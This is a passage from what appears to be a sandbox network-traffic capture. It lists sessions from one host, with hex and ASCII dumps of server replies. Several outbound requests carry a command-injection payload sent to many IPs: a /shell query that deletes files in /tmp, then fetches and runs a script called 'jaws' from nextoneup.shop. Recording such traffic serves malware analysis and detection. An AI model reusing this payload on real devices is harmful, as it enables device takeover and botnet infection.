font-size: 250%;
Apr 14, 2024 04:01:39.701265097 CEST	1289	IN	Data Raw: 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A; color: #FFF
Apr 14, 2024 04:01:39.701282024 CEST	1289	IN	Data Raw: 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b Data Ascii: text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0;
Apr 14, 2024 04:01:39.701301098 CEST	1289	IN	Data Raw: 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 Data Ascii: margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px;
Apr 14, 2024 04:01:39.701385975 CEST	1289	IN	Data Raw: 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 Data Ascii: tbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXM
Apr 14, 2024 04:01:39.701404095 CEST	1289	IN	Data Raw: 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 4f 4e 74 45 55 4b 58 47 43 Data Ascii: IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkI
Apr 14, 2024 04:01:39.701421022 CEST	1289	IN	Data Raw: 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 Data Ascii: fBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc
Apr 14, 2024 04:01:39.701561928 CEST	1289	IN	Data Raw: 75 62 6a 65 63 74 3d 45 72 72 6f 72 20 6d 65 73 73 61 67 65 20 5b 5d 20 20 66 6f 72 20 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 63 70 5f 65 72 72 6f 72 64 6f 63 75 6d 65 6e 74 2e 73 68 74 6d 6c 20 70 6f 72 74 20 38 30 20 6f 6e 20 53 61 74 75 72 64 Data Ascii: ubject=Error message [] for 127.0.0.1:80/cp_errordocument.shtml port 80 on Saturday, 13-Apr-2024 22:01:39 EDT"> WebMaster</a>. </section> <p class="reason-text">Access is forbidden to the requested page:</p> <
Apr 14, 2024 04:01:39.701577902 CEST	84	IN	Data Raw: 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: </a> </div> </footer> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2051	192.168.2.13	60336	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.613171101 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2052	192.168.2.13	60346	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.640767097 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2053	192.168.2.13	60362	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.969399929 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2054	192.168.2.13	60382	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:40.282056093 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:43Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2055	192.168.2.13	60384	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:40.313350916 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:43Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2056	192.168.2.13	60392	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:40.625978947 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:43Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2057	192.168.2.13	60402	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.000807047 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:43Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2058	192.168.2.13	60414	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.288404942 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:44Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2059	192.168.2.13	53036	23.65.233.196	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.938076973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.160074949 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:42 GMT Date: Sun, 14 Apr 2024 02:01:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 35 61 38 33 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 64 65 30 62 31 36 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 35 61 38 33 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 64 65 30 62 31 36 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.85a83817.1713060102.de0b164<P>https://errors.edgesuite.net/9.85a83817.1713060102.de0b164</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2060	192.168.2.13	47608	67.166.0.107	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.938232899 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.167171955 CEST	470	IN	HTTP/1.0 404 Not Found Date: Sun, 14 Apr 2024 02:01:41 GMT Server: Apache/2.2.3 (Red Hat) Content-Length: 278 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 33 20 28 52 65 64 20 48 61 74 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.3 (Red Hat) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2061	192.168.2.13	54410	34.196.170.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.947462082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.181494951 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2062	192.168.2.13	53364	52.6.222.214	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.947665930 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.410357952 CEST	485	IN	HTTP/1.1 307 Temporary Redirect Date: Sun, 14 Apr 2024 02:01:42 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: ci_session=ppg7aq9dk3okng26rhbv9a0koq93gqs2; expires=Tue, 14-May-2024 02:01:42 GMT; Max-Age=2592000; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: / Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
2063	192.168.2.13	58414	104.107.32.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.951127052 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.188456059 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:42 GMT Date: Sun, 14 Apr 2024 02:01:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 35 38 33 64 37 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 37 37 64 34 32 36 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 35 38 33 64 37 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 37 37 64 34 32 36 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3583d717.1713060102.77d426e<P>https://errors.edgesuite.net/9.3583d717.1713060102.77d426e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2064	192.168.2.13	60424	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:41.955403090 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:44Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2065	192.168.2.13	52016	23.55.65.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.011188030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.308850050 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:42 GMT Date: Sun, 14 Apr 2024 02:01:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 63 32 30 64 34 63 39 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 36 34 38 36 36 61 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 63 32 30 64 34 63 39 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 36 34 38 36 36 61 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3c20d4c9.1713060102.64866a7<P>https://errors.edgesuite.net/9.3c20d4c9.1713060102.64866a7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2066	192.168.2.13	53876	185.49.69.132	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.036000967 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.369203091 CEST	1289	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:42 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 